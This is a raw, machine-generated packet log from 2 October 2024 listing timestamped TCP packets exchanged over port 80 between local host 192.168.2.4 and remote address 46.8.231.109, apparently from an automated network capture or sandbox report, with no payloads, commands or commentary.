Oct 2, 2024 05:20:09.339292049 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.420207024 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.420239925 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.420255899 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.420280933 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.420317888 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.420341015 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.420367002 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.420381069 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.420381069 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.420394897 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.420409918 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.420423985 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.420901060 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.420923948 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.420933962 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.420948029 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.420977116 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.421051025 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.421087027 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.421444893 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.421484947 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.421489000 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.421513081 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.421529055 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.421591997 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.421610117 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.421622038 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.421622992 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.421632051 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.421658993 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.422425985 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.422461987 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.422475100 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.422487974 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.422507048 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.422533035 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.422566891 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.422579050 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.422597885 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.422621012 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.422625065 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.422652960 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.470729113 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.470758915 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.470772028 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.470777035 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.470808983 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.470808983 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.506306887 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.506319046 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.506333113 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.506364107 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.506373882 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.506390095 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.506397963 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.506397963 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.506422997 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.506445885 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.506758928 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.506807089 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.506818056 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.506875038 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.506875038 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.507009029 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.507050991 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.507061958 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.507110119 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.507110119 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.507128954 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.507141113 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.507174969 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.507553101 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.507595062 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.507602930 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.507607937 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.507630110 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.507658005 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.507699966 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.507711887 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.507724047 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.507734060 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.507736921 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.507760048 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.507783890 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.507836103 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.508511066 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.508521080 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.508533955 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.508550882 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.508579969 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.508596897 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.508609056 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.508621931 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.508634090 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.508639097 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.508652925 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.508678913 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.508708000 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.508804083 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.509299994 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.509370089 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.509380102 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.509406090 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.509418011 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.509470940 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.509481907 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.509491920 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.509501934 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.509502888 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.509527922 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.509553909 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.509562969 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.509761095 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.510199070 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.510242939 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.510262966 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.510272980 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.510308027 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.510343075 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.510353088 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.510363102 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.510374069 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.510385990 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.510399103 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.548135042 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.548166990 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.548207998 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.548217058 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.548250914 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.548259974 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.548294067 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.548329115 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.548341990 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.548566103 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.592711926 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.592768908 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.592819929 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.592822075 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.592858076 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.592900991 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.592909098 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.592952967 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.592961073 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.593014002 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.593048096 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.593076944 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.593102932 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.593137026 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.593143940 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.593172073 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.593189001 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.593261957 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.593305111 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.593314886 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.593350887 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.593401909 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.593405008 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.593439102 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.593456030 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.593476057 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.593478918 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.593513012 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.593517065 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.593544006 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.593569040 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.593595982 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.593703985 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.593837976 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.593868017 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.593885899 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.593905926 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.593923092 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.593962908 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.593976021 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.594010115 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.594016075 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.594043016 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.594048977 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.594078064 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.594079971 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.594115973 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.594135046 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.594166040 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.594175100 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.594187975 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.594222069 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.594223976 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.594300032 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.594531059 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.594564915 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.594611883 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.594616890 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.594650984 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.594685078 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.594686031 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.594718933 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.594719887 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.594757080 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.594790936 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.594798088 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.594825029 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.594858885 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.594866037 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.594893932 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.594898939 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.594929934 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.594955921 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.594968081 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.595005035 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.595017910 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.595043898 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.595062971 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.595473051 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.595529079 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.595561028 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.595573902 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.595599890 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.595614910 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.595647097 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.595680952 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.595696926 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.595716000 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.595724106 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.595752954 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.595766068 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.595798969 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.595805883 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.595839977 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.595851898 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.595874071 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.595875978 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.595909119 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.595911980 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.595942020 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.595947981 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.595978975 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.595983982 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.596024036 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.596431017 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.596472025 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.596484900 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.596518040 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.596537113 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.596579075 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.596607924 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.596641064 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.596645117 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.596676111 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.596678972 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.596710920 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.596712112 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.596759081 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.596765041 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.596798897 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.596807957 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.596833944 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.596837997 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.596868038 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.596873999 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.596909046 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.596924067 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.596957922 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.596983910 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.596992970 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.596996069 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.597039938 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.597371101 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.597425938 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.634346008 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.634398937 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.634432077 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.634447098 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.634465933 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.634470940 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.634517908 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.634551048 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.634552002 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.634561062 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.634593964 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.634604931 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.634639025 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.634644985 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.634674072 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.634676933 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.634710073 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.634716988 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.634752989 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.678963900 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.678996086 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.679052114 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.679066896 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.679114103 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.679121017 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.679155111 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.679198027 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.679208994 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.679260969 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.679295063 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.679307938 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.679326057 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.679337978 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.679380894 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.679436922 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.679450035 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.679502010 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.679529905 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.679538012 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.679554939 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.679604053 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.679616928 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.679645061 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.679657936 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.679692030 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.679727077 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.679737091 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.679761887 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.679765940 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.679795027 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.679810047 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.679830074 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.679845095 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.679866076 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.679883003 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.679908991 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.679936886 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.679970980 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.679981947 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.680005074 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.680010080 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.680043936 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.680057049 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.680088997 CEST	80	49781	46.8.231.109	192.168.2.4
